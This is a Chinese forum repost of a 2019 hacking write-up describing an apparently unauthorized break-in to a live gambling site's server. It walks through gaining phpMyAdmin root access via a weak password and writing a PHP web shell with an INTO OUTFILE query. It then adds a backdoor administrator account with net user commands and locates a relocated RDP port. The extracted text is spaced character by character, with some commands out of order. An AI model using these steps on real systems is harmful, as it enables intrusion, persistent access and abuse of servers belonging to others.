搜索

[81] 2019-10-30_报告！那边有个“菠菜”诱惑我。

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-15
2019-10-30_报告！那边有个“菠菜”诱惑我。 报 告 ！ 那 边 有 个 “ 菠 菜 ” 诱 惑 我 。 原 创   小 屁 孩   A d m i n   T e a m   2 0 1 9 - 1 0 - 3 0 0 x 0 0   前 言 前 言 前 两 天 追 的 小 说 更 新 了 ， 手 机 看 的 时 候 老 是 弹 一 个 博 彩 的 网 站 ， 搞 的 就 很 不 爽 啊 。 群 里 大 佬 天 天 “ 日 博 彩 ” ， 这 让 我 碰 见 一 个 ， 不 得 抓 紧 机 会 学 习 学 习 ， 下 面 就 来 聊 聊 这 次 “ 日 博 彩 ” 之 旅 。 0 x 0 1   弱 口 令 进 弱 口 令 进   p h p m y a d m i n 1 . 官 网 打 开 就 是 下 面 这 个 样 子 ， 看 着 花 里 胡 哨 的 ， 也 不 知 道 从 哪 下 手 。 就 先   p i n g   了 域 名 ， 得 到 了 i p   1 5 4 . * * . * * . 1 0 9 。 下 意 识 的 直 接   g o o g l e   输   i p   地 址   1 5 4 . * * . * * . 1 0 9   。 打 开 以 后 看 到 是   U P U P W   P H P   探 针 ， 什 么 是   U P U P W   P H P   探 针 ？ 我 最 开 始 也 不 知 道 ， 具 体 的 大 家 可 以 参 考 链 接 。 U P U P W   P H P   探 针 ： h t t p : / / w w w . u p u p w . n e t / t a n z h e n / n 1 2 6 . h t m l
2 . 简 单 来 说 一 下 利 用 点 ， 能 被 搜 索 引 擎 搜 索 到 的   p h p   探 针 都 暴 露 了 网 站 路 径 和 配 置 地 址 甚 至 能 访 问 到   p h p i n f o   页 面 。 既 然 管 理 员 没 删 掉 ， 这 不 是 给 咱 机 会 增 加 彼 此 了 解 嘛 ， 嘿 嘿 。 3 . 看 下 面 的 内 容 ， 我 们 可 以 看 到 服 务 器 的 域 名 、 端 口 、 环 境 、 网 站 目 录 、 可 以 跳 转   p h p i n f o   页 面 、 p h p m y a d m i n   管 理 页 面 ， 也 可 以 尝 试 连 接 数 据 库 。
（ p h p i n f o   页 面 ） 弱 口 令 进 的   p h p m y a d m i n   管 理 页 面 ， r o o t   用 户 ， 管 理 权 限 ， 没 什 么 好 说 的 。 0 x 0 2   写 马 上 菜 刀 写 马 上 菜 刀 1 . 既 然 进 了   p h p m y a d m i n   管 理 界 面 ， 就 说 明 我 们 可 以 尝 试 执 行   s q l   语 句 ， 写 入 文 件 。 先 查 询 了 一 下 数 据 库 的 物 理 路 径 ， 得 到 信 息 如 下 :   D : * * * * * * * * * * M a r i a D b ， 但 是 我 们 写 入 文 件 要 写 入 到 网 站 目 录 下 ， 才 能 连 接 到 菜 刀 。
2 . 废 话 不 多 说 ， 我 们 来 写 入 文 件 。 执 行 如 下 语 句 ： 写 入 成 功 ， 上 菜 刀 也 连 接 成 功 了 。 一 般 到 这 里 就 要 结 束 了 。 但 是 它 打 扰 我 看 小 说 了 啊 ， 它 还 不 删 探 针 文 件 ， p h p m y a d m i n   还 弱 口 令 ， 这 不 是 赤 裸 裸 的 诱 惑 我 呢 。 咱 当 然 不 能 就 这 样 算 了 啊 。 我 要 连 它   3 3 8 9   ， 我 要 上 了 它 。 0 x 0 3   提 权 开 提 权 开   3 3 8 9 1 . 老 规 矩   w h o a m i   查 看 用 户 权 限 。 查 完 我 就 笑 了 。 它 又 在 诱 惑 我 . . . . . .   管 理 员 权 限 。 s e l e c t   ' < ? p h p   a s s e r t ( $ _ P O S T [ p a s s ] ) ; ? > '   i n t o   o u t f i l e   ' 网 站 目 录 '
2 . 尝 试 添 加 用 户 ， 并 将 用 户 加 入   a d m i n i s t r a t o r s   组 。 3 . 查 看   3 3 8 9   端 口 是 否 开 放 。 这 里 并 没 有 看 到   3 3 8 9   开 放 ， 我 就 先 尝 试 远 程 连 接 了 一 下 。 N e t   u s e r   b a b i l l 9   1 2 3 4 5 6   / a d d   添 加 用 户 名 为   b a b u l l 9 ， 密 码 为 1 2 3 4 5 6 的 用 户 。 N e t   l o c a l g r o u p   a d m i n i s t r a t o r s   b a b i l l 9   / a d d   添 加 用 户 名 为   b a b i l l 9   的 用 户 到 管 理 员 组 。 n e t s t a t   - a n o
没 连 上 ， 其 实   3 3 8 9   连 不 上 的 原 因 比 较 多 。 可 能 服 务 器 为 内 网 环 境 ， 需 要 我 们 将 端 口 转 发 出 来 ； 也 可 能 服 务 端 口 未 开 启 ， 需 要 我 们 利 用 工 具 打 开 ； 或 者 服 务 端 口 被 修 改 等 等 。 这 里 我 留 意 到 端 口 开 放 了   1 3 3 8 9   ， 就 在 想 是 不 是 服 务 端 口 被 改 掉 了 。 我 们 可 以 用   P I D   大 法 ， 查 询 一 下   T e r m s e r v i c e   ( 远 程 桌 面 连 接 )   服 务 的   P I D 。 t a s k l i s t     / s v c
可 以 看 到   P I D   为   2 2 9 2 ， 然 后 我 们 重 新 执 行       查 看 当 前 进 程 查 找   P I D   为 2 2 9 2   的 进 程 ， 果 然 是 端 口 被 改 掉 了 。 再 次 尝 试 远 程 连 接 ， 上 它 ！ n e t s t a t   - a n o

扫 码 关 注 注 ： 文 章 内 容 仅 供 参 考 学 习 ， 任 何 人 不 得 用 于 非 法 测 试 。 请 遵 守 国 家 法 律 ， 做 一 个 守 法 的 良 好 公 民 。 注 ： 文 章 内 容 仅 供 参 考 学 习 ， 任 何 人 不 得 用 于 非 法 测 试 。 请 遵 守 国 家 法 律 ， 做 一 个 守 法 的 良 好 公 民 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理